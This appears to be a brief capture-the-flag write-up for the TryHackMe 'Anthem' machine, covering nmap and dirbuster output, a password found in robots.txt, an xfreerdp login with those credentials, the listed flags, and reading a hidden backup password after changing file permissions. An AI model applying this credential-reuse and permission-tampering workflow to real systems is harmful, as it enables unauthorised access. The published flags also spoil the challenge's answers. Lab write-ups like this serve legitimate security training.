Anthem VM (THM)

nmap

```
Nmap scan report for 10.10.98.212
Host is up (0.083s latency).
Not shown: 98 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION

80/tcp   open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
         | http-robots.txt: 4 disallowed entries
         |_
         /bin/
         /config/
         /umbraco/
         /umbraco_client/
         |_http-title: Anthem.com - Welcome to our blog

3389/tcp open  ms-wbt-server Microsoft Terminal Services
         |_ssl-date: 2024-04-05T14:09:34+00:00; 0s from scanner time.
         | rdp-ntlm-info:
         |   Target_Name: WIN-LU09299160F
         |   NetBIOS_Domain_Name: WIN-LU09299160F
         |   NetBIOS_Computer_Name: WIN-LU09299160F
         |   DNS_Domain_Name: WIN-LU09299160F
         |   DNS_Computer_Name: WIN-LU09299160F
         |   Product_Version: 10.0.17763
         |_  System_Time: 2024-04-05T14:09:25+00:00
         | ssl-cert: Subject: commonName=WIN-LU09299160F
         | Not valid before: 2024-04-04T13:48:24
         |_Not valid after:  2024-10-04T13:48:24


Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.37 seconds
```

robots.txt

```
UmbracoIsTheBest!

# Use for all search robots
User-agent: *

# Define the directories not to crawl
Disallow: /bin/
Disallow: /config/
```

```
Disallow: /umbraco/
Disallow: /umbraco_client/
```

my dirbuster

```
[+] Scoping in: http://10.10.98.212/
[+] Scoping in: http://10.10.98.212/categories
[+] Scoping in: http://10.10.98.212/tags
[+] Scoping in: http://10.10.98.212/archive/we-are-hiring/
[+] Scoping in: http://10.10.98.212/authors/jane-doe/
[+] Scoping in: http://10.10.98.212/authors/jane-doe/THM{L0L_WH0_D15}
[+] Scoping in: http://10.10.98.212/archive/a-cheers-to-our-it-department/
```

Information gathering

admin:

SG@anthem.com
UmbracoIsTheBest!

Email: JD@anthem.com
Name: Jane Doe

Name: James Orchard Halliwell

Connect to port **3389 via xfreerdp (RDP)**

```
xfreerdp /v:10.10.41.10 /u:SG /p:UmbracoIsTheBest!
```

FLAGS FOUND

THM{L0L_WH0_D15}
THM{L0L_WH0_US3S_M3T4}
THM{G!T_G00D}
THM{AN0TH3R_M3TA}

System Rooted

Root password was found in C:/backup as hidden .txt file
.txt had no premissions, i added SG to allow premissions

root.txt:

ChangeMeBaby1MoreTime